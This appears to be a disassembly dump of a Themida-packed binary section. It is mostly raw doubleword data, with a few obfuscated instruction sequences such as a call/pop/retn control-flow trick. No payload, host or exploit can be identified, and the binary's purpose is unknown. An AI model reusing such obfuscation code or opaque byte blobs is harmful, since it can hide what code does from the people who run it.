dd 0A058EB71h, 2D10875Fh, 0A4D2811Ch, 0A391B1BEh, 9E01Fh
dd 88F87600h, 43B336EDh, 90007DB2h, 5ACA2E05h, 960664BBh
dd 0B0E3A8FFh, 1C13E252h, 0D54A2B9Bh, 210EE757h, 706332A2h
dd 0E4B2D76Eh, 0B839169Ah, 57C72484h, 65F1525Fh, 0ACA19505h
dd 0BDF49383h, 47FEE012h, 1086F202h, 132D8E9h, 124C1282h
dd 86F26EB3h, 0F73C0D10h, 3A130373h, 0D704550h, 9397A81Ah
dd 161h, 0E1624FA7h, 1B989971h, 0F5766BABh, 0F6CAF085h
dd 154DF8C6h, 76169BFBh, 97A21461h, 0C8A2F50Bh, 74CFC7D8h
dd 1693F829h, 0D5745BD6h, 9DBD2868h, 34F0h, 0BABCC00h
dd 49AE03DBh, 0E959DAD9h, 243AD0ADh, 9BF591A1h, 9B9BAC16h
dd 93F1F518h, 0A8178216h, 0BD1D1CA1h, 25A0BE9Dh, 1693FDFCh
dd 60BCAE7Fh, 0D0h, 5FC7243Ch, 0D48E1A1Fh, 54426DBEh, 0CB7ADB5Fh
dd 10863186h, 3B7B5465h, 6155C526h, 0BFE2617Bh, 3E108631h
dd 0AC83F351h, 7EEE4DBEh, 82C77E60h, 69108631h, 77E3B258h
dd 31BBDE65h, 71421086h, 0CBE92A66h, 0E288C979h, 87B194C3h
dd 0E555D610h, 7F37FCD9h, 841D2D76h, 5F1F87E6h, 66B40F2Fh
dd 17169F32h, 31263806h, 8EAD200Eh, 777F916h, 46113E0Fh
dd 0BD66457h, 4BC8A202h, 919E77E7h, 873CC131h, 0E0B7D746h
dd 8836ED6h, 73D30000h, 3CBD7203h, 7BFA29CCh, 33B56A0Bh
dd 7DFD32C3h, 7833680Dh, 0A075E545h, 0D9BC2C93h, 9B7AEA4Ah
dd 0DEB72784h, 375AE9F5h, 0B6169AE5h, 0C6240735h, 1370BF56h
dd 4F88D2A3h, 5659824Ah, 759D4D6Dh, 6FDF624Fh, 77B45627h
dd 0A19284F4h, 0A1119622h, 0DEB79875h, 262E2h, 56DBD800h
dd 57EEB0E6h, 1086F232h, 23C7E8B9h, 0DB0BABEFh, 57D8D903h
dd 2CDEAFE7h, 0A2FD1D91h, 474F6016h, 9AF9A1ECh, 0FCE34E16h
dd 0C424E04Dh, 207689Dh, 4F440000h, 4A6DDD62h, 0DB5DAF4Ch
dd 7D28C234h, 1086225Bh, 8AFA7BB8h, 22C811B4h, 0E2B31086h
dd 0BEEE9208h, 2C9125A0h, 0F14216A2h, 1DF22494h, 6678496Dh
dd 977EEE4Dh, 7BBB2B88h, 451949EDh, 8729CA7Eh, 0FB829310h
dd 0B1BE7334h, 0A2A50D27h, 0B4000007h, 0F42BCA3Ah, 0C3700575h
dd 0EC43D242h, 0AA791C8Ch, 5E3DD848h, 0A010722Dh, 69D95ED5h
dd 0A515978Ch, 70E063D0h, 992C32A5h, 169AEA70h, 24C27AFBh
dd 525F57C7h, 9C9581F1h, 9085B121h, 0F103DC5Ah, 283B003h
dd 0F59CA492h, 497019CAh, 0D5575C96h, 3F77E749h, 8889614Eh
dd 8EA3BB2Bh, 0C5D0BA2Ah, 0A8A68DF0h, 0A9042D97h, 72547D48h
dd 6171086h, 8F080E29h, 2596BE99h, 137D545h, 24B10000h
dd 525F57C7h, 6AF481F1h, 0F288D174h, 0A2731086h, 0FE2ED2C8h
dd 0FB2D65E0h, 9FB0169Bh, 931896BFh, 0D5334EB9h, 4015F735h
dd 0AD3835F5h, 3ABBF886h, 17F3CCCAh, 935561ACh, 3CA30E16h
dd 8EFE7DB6h, 0C54CB1DCh, 27D49DBDh, 0E8000000h, 3DB0BABh
dd 9BF5F040h, 0BAC48D16h, 7D3BFBF4h, 0F251456Ah, 169372ABh
dd 57F2DD54h, 9DBD99D2h, 0AF5Ah, 624F2E00h, 9B9872E2h
dd 756EA818h, 0A09185F5h, 0B1ABB323h, 86F2CF12h, 0C19DAE10h
dd 86F2DF02h, 0DD8D9E10h, 51C1422Fh, 6CA201C4h, 0CF2C1087h
dd 0E65D7F5Fh, 108689A3h, 291794Ah, 0AD404B4h, 9EE11D3Bh
dd 6BDADC16h, 169ED126h, 3DBF4C5h, 2DC4CAEh, 0B2E454B1h
dd 0FC5E2DDDh, 0D4C232B7h, 0C4EB5BDFh, 0F985E526h, 54290676h
dd 0B7D82E83h, 3A5ADADCh, 1C000006h, 0CC6332A2h, 0B18FD6Dh
dd 0C45B3AAAh, 1221F464h, 0F6B540B0h, 878FAB5h, 0C131B66Dh
dd 0D7DFF34h, 0C838BB68h, 11B49A2Dh, 169AEBC8h, 240A32B3h
dd 70BF56C6h, 66D2A313h, 0D05FC724h, 0A247CFC4h, 2C45715Eh
dd 0FAB65FCFh, 27h, 57C7240Eh, 90F1525Fh, 86F2EC35h, 91BE8F10h
dd 6CFB88CDh, 7D68E492h, 0A80F9F8Dh, 0C1319235h, 259034h
dd 24AC0000h, 42275FC7h, 918A8C6h, 9EB9722Ah, 69467DDFh
dd 7086C62Dh, 2FFA1086h, 74E44780h, 0F374BDA1h, 4F33E783h
dd 4472E262h, 11729F4Bh, 330375A1h, 0CB1880E7h, 48356205h
dd 0BA9383ACh, 0A7F821A4h, 0B2831086h, 8E02C19Dh, 6D16A2A8h
dd 938DD46Fh, 5F70169Ah, 243A0BABh, 593CAC0Fh, 0BDF969CAh
dd 6F638B2Bh, 45478E13h, 0C4EDF1DEh, 0CFC0F666h, 0EDAA191Bh
dd 8C10BE7Ch, 2D8EA3BBh, 3D76D8BDh, 786650C0h, 0BE7884CDh
dd 7956671Ch, 0C223A091h, 78E0299Ch, 0BA8B1CBEh, 0BE78C60Bh
dd 0BB94A51Ch, 1949ED7Bh, 895E7E45h, 1D1F1AA4h, 0CB6963A6h
dd 16390A02h, 0A2B6B487h, 3DC5AFABh, 505h, 0F085F551h
dd 0A74EBE43h, 0E88DFD78h, 0B045B53Bh, 0E68FFF83h, 63C7FAB1h
dd 0AA0D22F3h, 68C45B3Ah, 0A5061DF8h, 67776035h, 9AE9B5DCh
dd 85B73816h, 0BE57C724h, 74A21271h, 8A8CFC7Fh
dd 0B017C6EFh, 0E53F253h, 0ED1086F2h, 0E252D7DCh, 0F07D28CDh
dd 7897A819h, 34h, 0DB0BAB94h, 41FF4003h, 917E169Ch, 0F8D5C131h
dd 0BD3A5FE6h, 0F0C11693h, 52B2FFDFh, 0D8F767C6h, 0BD53783Dh
dd 2E8D1693h, 0EC48D7BEh, 7ABA3A7Ch, 0CE000004h, 5F57C724h
dd 0F481F152h, 0FCC2F2C6h, 0A8EB01DBh, 0FE352790h, 0D75D0D7Dh
dd 9BB2346Ch, 6DCCB916h, 38CCB9FDh, 87D0CDF7h, 6CCFC4EBh
dd 0F9E3D3FCh, 52B03CB8h, 0F4DBB4E2h, 4866A716h, 4D0F1693h
dd 1D777008h, 4EF5637Fh, 1693CC0Bh, 290E21F2h, 115923F2h
dd 0BBF69442h, 55D5DE14h, 238605E5h, 0A99DBD9Dh, 20h, 0DB0BAB7Dh
dd 0F5F04003h, 0BC8D169Bh, 0F1D2FB7Ah, 0F49B1693h, 1CFD80C9h
dd 10839DBDh, 97000001h, 8757C724h, 6155C52Ah, 0A3907E6Ch
dd 0C131931Fh, 0DFD7F8D5h, 0D5A3D8FDh, 0DDC2E84Ah, 0D2C1EE5Eh
dd 0C4B9FD6Dh, 1686E526h, 24B01320h, 6C6155C5h, 8AEF352h
dd 7C4D1086h, 0F2518B53h, 108608AFh, 0FE8D7D4Eh, 860DB4C3h
dd 0C535B610h, 10800330h, 2182E54Eh, 860D7FA2h, 22DFE10h
dd 0DACC7B35h, 0EB9FFB06h, 0E607B741h, 86F63A5Fh, 0C3F0C110h
dd 0F5CACC3Ch, 4BAF04DAh, 0B1E2DBDBh, 3309E151h, 9BF0AC90h
dd 0FEC0D116h, 0C86A25D9h, 0E8828E63h, 29591D8Dh, 266AAE15h
dd 213108Bh, 4F1B1B3Ch, 0DE733F92h, 0DA681A79h, 26C4EBA7h
dd 86E54E10h, 3B2F2016h, 19FC6CCEh, 7C47A80Ah, 1CAB4155h
dd 55280718h, 0B1C2A0F8h, 227D05EFh, 34000003h, 74AB4ABAh
dd 43F085F5h, 6CC352C2h, 2AF99C0Ch, 0DEBD58C8h, 2090F2ADh
dd 0E959DE55h, 2595170Ch, 0F060E350h, 19ACB225h, 169AEFF0h
dd 2442FA7Bh, 70BF56C6h, 88D2A313h, 5D59C92Bh, 0AB928A60h
dd 0D839BF0Bh, 86F2246Dh, 0D9F6C710h, 0ACEA5ADAh, 63E2FCD3h
dd 169BF5D7h, 53895566h, 93F1A9F0h, 7B435416h, 93F181C8h
dd 0AF5B6C16h, 0F1DFFE85h, 0F1A81693h, 1D1E8BBEh, 0BEA69DBDh
dd 82000000h, 5F57C724h, 9680F052h, 86F7C02Fh, 1989EA10h
dd 0D444A77Ch, 80A858E2h, 7B986215h, 0F9C5EA49h, 0CCCA3AB8h
dd 3BCCE4F3h, 0A5290EF1h, 68D46FC5h, 0D169B00h, 0AD51593Ch
dd 0F050617Dh, 9F970764h, 0B89581AEh, 8E88F87Bh, 0C083D9B1h
dd 108B6E77h, 8293506h, 0EF5B3AAAh, 6D3356EDh, 0E9BA1CABh
dd 42B21001h, 0C2B54CBBh, 1DA58FB1h, 231h, 0BC59C925h
dd 3920267h, 9461D12Ch, 0CCA9199Fh, 9263D357h, 971B9615h
dd 5EE14E27h, 9C1807EEh, 59DA492Ch, 93BB0CE9h, 9AECE930h
dd 69D39416h, 0BF56C624h, 0DF02C19Bh, 111086F2h, 0CDDE42B2h
dd 1F8FEC1Dh, 59DFD476h, 3AD0ADE9h, 0B68D4F02h, 1086F293h
dd 70A1495Ah, 7E73A313h, 0A01071FDh, 0A8B69976h, 0D6B4248Bh
dd 9B0B68B7h, 0E72A99C3h, 861086F2h, 7557D5B5h, 0BD363060h
dd 0BCAE6377h, 0ECF222D6h, 75EA56EBh, 0BA50FA75h, 0CD0D21A4h
dd 3F10169Ch, 3FAF121Fh, 0AA6406F7h, 54735ACBh, 288E67D7h
dd 3CAC0C58h, 94784B13h, 771089E8h, 0A347B73Ah, 2AF422F3h
dd 5489134h, 62331CACh, 0B8288B88h, 0C40DB8A6h, 0A71CAC05h
dd 0AD1D9D96h, 58DF4FBDh, 0E515E965h, 0FFE26AD9h, 96831AB6h
dd 9A73A313h, 0F053E0B5h, 25A0BE80h, 2C6FFFCh, 0BD2D927Fh
dd 253EF892h, 645F57C7h, 3EBD0AB5h, 0BF7F27CEh, 76A01073h
dd 0FFF41DA8h, 0A67702C6h, 0BF98A689h, 7D13C994h, 2D4314EAh
dd 39AF8CB4h, 43025436h, 4DCCFEBh, 4DBD3D6Ah, 5B5B7449h
dd 52C24071h, 7BEB4F64h, 7D6D423Bh, 9FBF2F8Ch, 27C33392h
dd 979F4EDh, 2898140Dh, 7B624BEEh, 0E1CC3D68h, 30A02011h
dd 70A0605Ah, 0D747D76Eh, 0F5C60EC9h, 0BAE2F3E9h, 0F2874348h
dd 962A71Eh, 38090EECh, 0C3734352h, 39F1B29Bh, 143BD1E8h
dd 9D1F144Ah, 7614E92Dh, 0C8128C47h, 845A6B08h, 0FD1EDE53h
dd 0A2DBF76h, 42BEC32Fh, 52FDB8Bh, 3F1F8FECh, 5718B616h
dd 8E2E4CBh, 0D435B66Dh, 22871h, 0EDC2D334h, 0F3B24AA9h
dd 0BC23068Dh, 72D0E111h, 48AB6802h, 0C7CF3FBCh, 0F31B3E05h
dd 0D1E2268Dh, 0A40DD1FEh, 0ECE1D545h, 0F32E73D2h, 0FCCD268Dh
dd 53B07F0Eh, 52D6DBE3h, 0C3F363C6h, 705E5CAh, 1826961Ah
dd 29A6FA3Fh, 7218FB8Dh, 6558C1C4h, 0A471E162h, 0A2BC2C8Fh
dd 0C30360B5h, 116CC429h, 0B79875A1h, 12D959D3h, 0AD000000h
dd 0D46F6D2Fh, 1086F28Dh, 0D6545F70h, 0AB5F3066h, 5ACA2487h
dd 74E4475Ch, 63D33142h, 49B93E33h, 66D6544Dh, 4FBF4330h
dd 66D65A47h, 52C24330h, 7AEA4F64h, 0E468783Ch, 8900000Dh
dd 89512414h, 4C181E1h, 81000000h, 4E9h, 240C8700h, 2414895Ch
dd 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch, 68512434h
dd 788C6971h, 81240C8Bh, 4C4h, 57E98100h, 8972705Dh, 8B5459CAh
dd 0C4812434h, 4, 88068h, 24048900h, 8B8h, 89F00100h, 34FF5810h
dd 0C4815E24h, 4, 5A2434FFh, 4C481h, 7BE90000h, 2FFFF95Dh
dd 0E4DAA6F0h, 1C2057B8h, 0FFC50306h, 0D2A305E0h, 0FEC1E94Fh
dd 0D02B7F66h, 0FBB4E216h, 3FFF6022h, 0CF326B01h, 3F49D35Fh
dd 2A06D458h, 4D6C5915h, 0CA349019h, 96638A45h, 38BA2D50h
dd 77E54503h, 96DF3773h, 0E5443A07h, 4F3E9902h, 0E036778h
dd 1EE3ED6Fh, 0B28A6A00h, 3403346Bh, 0DE804h, 0AB7F0000h
dd 3102A939h, 87B83CF7h, 817CEF16h, 346E6DF1h, 880F5B28h
dd 8, 2880Fh, 9BB50000h, 65A6C381h, 0F600000h, 830FD6B7h
dd 10h, 0BE9h, 2EF45E00h, 28379394h, 0BCA79A00h, 6861h
dd 0E9580000h, 5, 41F32BE7h, 3348BCCh, 3D25BA66h, 0DB98C681h
dd 81661089h, 81BFA4D2h, 0C86C6DC6h, 0C7BA6655h, 34EE8185h
dd 6646D954h, 564C46BFh, 3048FF9h, 0E945EE80h, 12h, 984A8AC7h
dd 58691649h, 0E0978807h, 130D5459h, 0E8833388h, 0EE801h
dd 0B69A0000h, 72CB3606h, 0CDB45C3Fh, 4CEEF6BDh, 11E9h
dd 2CEF900h, 42D42630h, 61BFED5h, 10254001h, 485FECB7h
dd 9ABF4848h, 810CF428h, 0FF9B34F8h, 7A850FFFh, 0B9FFFFFFh
dd 564E947Fh, 6E8h, 0B0A18800h, 6010E6B1h, 0AE8h, 94751F00h
dd 343E0AB0h, 583E2B84h, 3185BA66h, 0BF0F5F61h, 79C781F2h
dd 0E8000069h, 0Bh, 155702DFh, 10054447h, 569B21D7h, 5EFAED80h
dd 1A2EBB5Ah, 0B9660000h, 78B4388h, 0C081C4B6h, 3C0B668Ah
dd 2830Fh, 5FB50000h, 0E374E881h, 0C2810A62h, 0CA5A8B6h
dd 7E6BE881h, 7E90543h, 4D000000h, 0E10BB9DAh, 6650E33Ah
dd 78FCF8Bh, 10E8h, 0F452C300h, 242D03C2h, 34B14E67h, 7BDC22B1h
dd 5EF38B71h, 6603EF83h, 4F8BBFBAh, 10E8h, 0D22B8800h
dd 0FB1CBCFAh, 0FA312F67h, 2C75A799h, 7FD68018h, 1EB815Ah
dd 0F000000h, 0FFFF8585h, 0D68166FFh, 8D8DBA21h, 61C2384h
dd 371BD8Bh, 8D890615h, 6152721h, 12999529h, 85C70615h
dd 61504CDh, 5D9Ch, 85C71EB0h, 6151115h, 0
; ---------------------------------------------------------------------------
push 0
push edx
call sub_5EBD4B
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5EBD4B proc near ; CODE XREF: Themida_:005EBD43p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_5EBD4B endp
; ---------------------------------------------------------------------------
db 0B0h
dd 148C0459h, 949A277Fh, 0B5FFF8EFh, 6150595h, 10E8h, 55062700h
dd 65273009h, 8CB0A6F6h, 9E7F7560h, 95FF5BBAh, 61502C9h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0F0C35242h
dd 0DC55EBA4h, 0F9884F14h, 95FF006Ah, 6152E21h, 6AEBC08Bh
dd 4109241Fh, 0E185A48Ah, 7A87CC6Ch, 251DE820h, 1E2A74EBh
dd 45137829h, 0B540719Dh, 0F6F9B438h, 14BEFDC2h, 0DAC65C11h
dd 0CFA5D704h, 0B8AFA1C1h, 4237DD80h, 0F6781626h, 25E66C73h
dd 417ADE66h, 0B1465295h, 0D5911DBCh, 2B961D0Bh, 0A1182450h
dd 0C3F95BA0h, 0C3DACFF8h, 7A9B3493h, 9148591Ch, 1D89465Ah
dd 597CB59Ch, 17E96CE8h, 26000000h, 373FD1h, 4 dup(0)
dd 0E2E90000h, 68000004h, 61C2538h, 0F95A35E9h, 25B068FFh
dd 2BE9061Ch, 68FFF95Ah, 61C26D9h, 0F95A21E9h, 68D856FFh
dd 0A313968Dh, 70E05DD2h, 0BA2A8EA5h, 76E644DBh, 1083089Fh
dd 7CB342B2h, 35EA8BFBh, 81AE47B7h, 0D0039202h, 0D612370Eh
dd 18D9169Ah, 56C62424h, 80F05360h, 0C1F1C5F5h, 0D3E1D8FDh
dd 0FB78620Ch, 0CEC838B8h, 804319F1h, 169C5EE0h, 2393161Bh
dd 50701AF3h, 406FDF63h, 9CAEEF56h, 45C01693h, 6FD0E1D5h
dd 50B7B7FFh, 6D24865Dh, 88A20742h, 0C82A9DBDh, 20000002h
dd 9042873Eh, 18291693h, 624FCA72h, 1A7D6DDDh, 0C9F9BD34h
dd 0FBCA4EF5h, 0E2B3169Bh, 52FDA91Ch, 0C67A0BF9h, 55FDC896h
dd 1815E678h, 0D5A90F07h, 9BBC99A5h, 38EF0A17h, 3C29476h
dd 1F136B82h, 0B3D66D6Fh, 3A1F2270h, 0F01D8169h, 4F923192h
dd 2E1F2270h, 411D321Dh, 472393F0h, 67CAE7F5h, 50B2BFF7h
dd 0F6D9B6E0h, 9C4F11E1h, 0CAA0E205h, 0D95EEA49h, 9680F04Dh
dd 0DCB996B9h, 0A974E447h, 0AE4B9D3Ah, 4278BA9h, 5C000003h
dd 8CA372E2h, 4BD8BD2Dh, 849B7AEAh, 52E1B424h, 0B6F580F0h
dd 0C838BAF5h, 171F62Dh, 0CD3DBF74h, 878FB28h, 0D1745A6Dh
dd 169AD788h, 0AB4AF273h, 4003DB0Bh, 16A31601h, 6769D3DCh
dd 15CC7090h, 0AB0F243Ah, 65C55A3Bh, 0ACEA5AD9h, 0D4BAFCD3h
dd 0A6A40703h, 7A4948A3h, 169A8657h, 0E92A0516h, 49741686h
dd 169A8607h, 936ADA59h, 0B7D3F822h, 8C53AFC5h, 0D4000002h
dd 140BEA5Ah, 0E3502595h, 0C23F262h, 0CA593CACh, 7E1DF868h
dd 0C030920Dh, 979FE35h, 0C535B76Ch, 10800330h, 0B98C5285h
dd 169AD790h, 4FA29A5Bh, 0F293B68Dh, 495A1086h, 3E78E84Ah
dd 4FEFA941h, 45843F1Fh, 1816A316h, 69B40F07h, 16169AD6h
dd 0A815349Bh, 309DC442h, 167h, 0E3624F0Ch, 0A04A4373h
dd 76A01073h, 0E78EFE7Dh, 0EFCFFFBFh, 9BFB1C54h, 0E6D0E116h
dd 93FB3E5Fh, 5D50C716h, 0BD2781ECh, 27079Dh, 0AB230000h
dd 4003DB0Bh, 169BF5F0h, 0FB7ABC8Dh, 1693F1D2h, 80C9F49Bh
dd 9DBD1CFDh, 0A818949Dh, 49F9916Eh, 0C5h, 66C7245Dh, 86F2BADFh
dd 5F704110h, 0C03C7557h, 0F979BA50h, 9DBF8D89h, 9F5C0EB8h
dd 8E3765A0h, 10869B4Bh, 88896132h, 667BBB2Bh, 8CC99505h
dd 0E0C71D26h, 385337A5h, 14A01D16h, 1AF32393h, 5E0C0135h
dd 86503C3Fh, 5DCD2E10h, 1E4EF2B8h, 36578540h, 1526169Eh
dd 1A8AE849h, 1989EF44h, 0AD0D2271h, 3A28FB45h, 3E110890h
dd 0D836D85Fh, 91F103B7h, 163h, 841181FDh, 3BDA4AAFh, 7C1989E4h
dd 44D141A7h, 7A1B8BEFh, 0CF336E1Dh, 669B65Fh, 0D430FF96h
dd 21A29164h, 0EBF3E4B1h, 9AD43158h, 13BBC16h, 0B4B864Fh
dd 6671E146h, 7D6D1F74h, 0F6CD2E8Ch, 1086D0D3h, 0CFA6899Ah
dd 0A273E360h, 0E0624F96h, 1A999A70h, 0BCA26CAAh, 86F2C009h
dd 0BD9AAB10h, 8867B2C4h, 0BE6B1F08h, 8228CD3Dh, 15B08EBEh
dd 169CF52Ah, 78667849h, 90F684CDh, 5D566716h, 0B87E6CDCh
dd 0EE87F77Bh, 90F68AD3h, 0EF5FDC16h, 29991906h, 0C985EDh
dd 4FA10000h, 0C580E162h, 1086F29Ch, 35614E5Fh, 3808B258h
dd 568F3608h, 2516A316h, 89E94A14h, 0A3041D19h, 0C06E1C33h
dd 0E555D5DEh, 25A484D2h, 7B6FFDF4h, 0A1BD2D8Eh, 0CD9568B4h
dd 0E3453A5Ah, 654A4373h, 0BA39E685h, 5D59C92Eh, 0EC474F60h
dd 47B6EDA4h, 0E70BB239h, 0ECDEDDEEh, 0B8FBA9A2h, 0F21FCB3Bh
dd 0A542191h, 31D949A9h, 23138300h, 79A02339h, 9B27B9C4h
dd 93475EA0h, 85960AD4h, 1BC70AB9h, 95A627B9h, 44B434F5h
dd 1BC27352h, 36DF4FACh, 67228AE9h, 9A5206AFh, 5B5BCB2Fh
dd 34624D62h, 933F6D6Ah, 52A2CB8Eh, 9773E361h, 162Bh, 883B2100h
dd 27B95941h, 0CB6F1B2Ch, 0FED3864Fh, 979F7ED2h, 243941F3h
dd 475C5ACAh, 314274E4h, 3E3363D3h, 544D49B9h, 433066D6h
dd 5A474FBFh, 433066D6h, 4F6452C2h, 783C7AEAh, 4EC81h
dd 1C890000h, 81E38924h, 4C3h, 4EB8300h, 5C241C87h, 81E68956h
dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 0A5682404h, 89000008h
dd 0EC832414h, 243C8904h, 5F2F3A68h, 0C14F5F04h, 0EFC105E7h
dd 7EF8105h, 89FE430Bh, 0BD685FF8h, 8900003Ah, 4832424h
dd 565A0424h, 24348150h, 2CA9438Ah, 8AF6815Eh, 892CA943h
dd 0FF5E0872h, 815A2434h, 4C4h, 2434FF00h, 4C48158h, 0E9000000h
dd 0FFF95566h, 0D9B0198Fh, 480FDC76h, 2861B877h, 0C503061Ch
dd 5C5DE0FFh, 3E0E23CBh, 73D05AB7h, 59F07699h, 18110181h
dd 0AC607E0Dh, 19402A8Bh, 738A34C9h, 0EA7D76F6h, 6E87F3Eh
dd 1000000h, 8B2E75D9h, 13E9ADh, 55C20000h, 63A3D62Dh
dd 3154EDC1h, 18663711h, 0CDA89843h, 0C08158E9h, 595Dh
dd 8E8h, 0CFF13000h, 12217CDDh, 0F78B6692h, 66FF2B5Ah
dd 469CD281h, 51381C8Bh, 0FB8B6660h, 0EB815A61h, 19216EE8h
dd 0D16D681h, 0F3817D42h, 1728C332h, 81CA8B66h, 0E8E867EBh
dd 0D9DD800Ah, 60381C89h, 8E9h, 0C8B69400h, 0A89A1317h
dd 610EB3BFh, 215051BEh, 3EF832Bh, 4880Fh, 0BE660000h
dd 0B94F0152h, 5519E2D9h, 0A76CFF81h, 850FFFFFh, 1Ah, 9C4EBA66h
dd 27E9h, 39E78E00h, 2D7A322Dh, 0AC71B135h, 8FFEE127h
dd 8D0F56EBh, 2, 79E9F18Bh, 0B0FFFFFFh, 0AB5CE4CAh, 0E6904A4h
dd 7E8h, 0F28F8F00h, 209C92EAh, 58CABF0Fh, 0C2EAD981h
dd 0C08131ACh, 6082h, 11E9h, 0B0121F00h, 1B0AA7D8h, 0A195F6B2h
dd 0FECFBC3Bh, 0E2684A6Dh, 0FC000017h, 9E95Fh, 0D0050000h
dd 0D398761h, 8BF7AF26h, 1B870F18h, 60000000h, 810Fh, 0EE90000h
dd 0CC000000h, 8AA3AF12h, 0E4AC205Eh, 3C8F790Eh, 0EB816110h
dd 140DCE98h, 6564EB81h, 81F857D9h, 4EDD38EBh, 0EA815205h
dd 57F43248h, 0FE85359h, 9B000000h, 0F5C8F450h, 0B84DA818h
dd 0A54313CEh, 5E891E3h, 58000000h, 0E9A2174h, 5EF08B66h
dd 53008F5Ah, 13E8h, 5E101600h, 13068DAEh, 0DEFDA25Bh
dd 0B36335C7h, 0DEF44E80h, 830Fh, 595E0000h, 0E902E883h
dd 14h, 74A3C1C1h, 0BE011C82h, 0DF994230h, 7D7271BFh, 5C69F25Ch
dd 0CE804848h, 850F4F1Dh, 0FFFFFF53h, 0B7D48060h, 0DFC18160h
dd 0B21B58E5h, 0E8616160h, 10h, 75ADB00Dh, 40C57A9Ah, 31051B9h
dd 807D4E7Bh, 0F121BB66h, 0C881665Ah, 0C2818EE0h, 5BF8h
dd 58C38166h, 16CCBE3Ah, 0EB810000h, 7775497h, 816632FFh
dd 5FCF1DE1h, 2E88151h, 595C054Bh, 0A962C781h, 0F96007C6h
dd 10E960h, 14410000h, 0B00EFDD2h, 14447824h, 4640CC97h
dd 58578537h, 0EF816161h, 6D3B8D92h, 6BC4F781h, 57F97416h
dd 28FE58Ah, 0C18B6660h, 816177B1h, 1FE925EAh, 0B7D8812Eh
dd 8147D6A7h, 1FE921C2h, 6E82Eh, 0B590000h, 66D0B441h
dd 5BDFB70Fh, 0F01EE83h, 1985h, 38E0F00h, 80000000h, 19E911F7h
dd 3F000000h, 4057C720h, 7A40701Bh, 0B866E453h, 69E9C685h
dd 33FFFFFFh, 0B30C7B29h, 0BD83C08Bh, 61508F5h, 83097500h
dd 1503ADBDh, 19740006h, 0C08B5350h, 421B8h, 85858900h
dd 8D061513h, 17AA9E9Dh, 5BD3FF06h, 0ADBD8358h, 61503h
dd 53501774h, 421B8h, 85858900h, 8D061513h
dd 17A78D9Dh, 5BD3FF06h, 8BC08B58h, 1500319Dh, 0C585C606h
dd 56061509h, 0A8B85268h, 11B5FF9Ch, 8D061528h, 1872BC85h
dd 6AD0FF06h, 10006804h, 0B5FF0000h, 6150685h, 0D0FF006Ah
dd 850FC085h, 0Dh, 0B8h, 0D8D8D00h, 0FF061572h, 8BC88BE1h
dd 3C4003C3h, 0F805h, 0C508B00h, 0BD83D303h, 6150FFDh
dd 0E840F00h, 8B000000h, 150FFD9Dh, 69858B06h, 8906152Fh
dd 8D525103h, 1543E485h, 8BD0FF06h, 8BF18BFAh, 0F3C88BD1h
dd 0C585C6A4h, 56061509h, 1F6D3968h, 11B5FFD4h, 8D061528h
dd 1872BC85h, 68D0FF06h, 8000h, 0FF52006Ah, 83C08BD0h
dd 1508F5BDh, 9750006h, 3ADBD83h, 74000615h, 8B535019h
dd 421B8C0h, 85890000h, 61502A1h, 0AB059D8Dh, 0D3FF0617h
dd 0BD83585Bh, 61503ADh, 50177400h, 421B853h, 85890000h
dd 61502A1h, 0A7A69D8Dh, 0D3FF0617h, 0C08B585Bh, 0FFD9D8Dh
dd 38B0615h, 840FC00Bh, 7, 5B8B038Bh, 0B8188904h, 4B41h
dd 0BE8h, 0E6811200h, 0D6D2CF60h, 2A5360BAh, 0A6E78166h
dd 8B66594Ah, 0FFC181FEh, 6600006Fh, 0BEDF8Bh, 0BA000000h
dd 0E28BBC7h, 0B331048Bh, 74E8814Eh, 0BF39F605h, 63EB3E16h
dd 0A4B1E881h, 7E90B85h, 73000000h, 798EC618h, 0C0810F0Fh
dd 7EC2CE62h, 310489F8h, 50F28160h, 0E85C77D2h, 0Eh, 2201D86Ah
dd 8316534Ch, 0A42F316h, 59537D28h, 29B7615Eh, 6604EE83h
dd 0FE81F98Bh, 0FFFF90A8h, 13850Fh, 81660000h, 0E9DF2FCFh
dd 1Ch, 8B982CF5h, 5FBDACE7h, 0E9DC8AE5h, 0FFFFFF88h, 0B87DF66Ah
dd 9D07D9Eh, 4536B865h, 0AE8h, 7A5BCB00h, 831F93DCh, 0F7B64A9h
dd 0E95FCFBFh, 0Ch, 21C15EAh, 30F3D66h, 2DC09768h, 0DA3AC781h
dd 0CE8B0000h, 365F68h, 58CF8B00h, 0BED181h, 378B6184h
dd 14E8h, 4A787A00h, 7A2FAA6Eh, 47BCF338h, 0F48AF105h
dd 297F76BAh, 0CA8B66CFh, 85F68159h, 0B934719Eh, 2EEE633Eh
dd 3ABF681h, 13E9461Bh, 0C7000000h, 6EAD0BC5h, 0B90DCACBh
dd 3CF005E4h, 1DF76863h, 0C681846Ah, 18D2B5EFh, 8CCB8166h
dd 840F56F1h, 0Bh, 58E0Fh, 75B90000h, 8F6CCC5Ah, 0EE907h
dd 0CBBF0000h, 46496875h, 687FAFBEh, 0A4C69E73h, 0B504EF83h
dd 1E8818Eh, 0F000000h, 0FFFF7585h, 0E93BB6FFh, 85h, 740171CDh
dd 2BCA3ABFh, 6C0979F4h, 34C131B7h, 6A0B7BFFh, 0BF437E2Dh
dd 0F679A64Fh, 0C440EF86h, 1172C154h, 0DB03D4A1h, 9ADC2168h
dd 0F14BCC16h, 6254C424h, 0FE6ED2C1h, 0F2709A17h, 0EFF61086h
dd 7310CAD4h, 1089BC48h, 4D123CECh, 3C510h, 2FE10000h
dd 5ACA244Bh, 74E4475Ch, 63D33142h, 49B93E33h, 66D6544Dh
dd 4FBF4330h, 66D65A47h, 52C24330h, 7AEA4F64h, 0A968783Ch
dd 0E9061C2Eh, 0FFF94F26h, 40CEBFCh, 8D4F82EFh, 0F34C508Dh
dd 0E92F97A5h, 618h, 60CE9h, 9C0C6A00h, 57C72AF9h, 0A41471BEh
dd 6EDE62D1h, 0AA1A9887h, 0E4DFCCCBh, 0B07F1686h, 0E936DF4Fh
dd 0A57A1B8Bh, 943FD646h, 0DDD6FBCAh, 0D495169Ah, 58C8298Ah
dd 9189615Eh, 8757C724h, 5C5ACA2Ah, 948D8763h, 0BC2C8C18h
dd 92B2857Ah, 0D29D3B15h, 0F6EB2B04h, 1C150171h, 0FBE82E9Eh
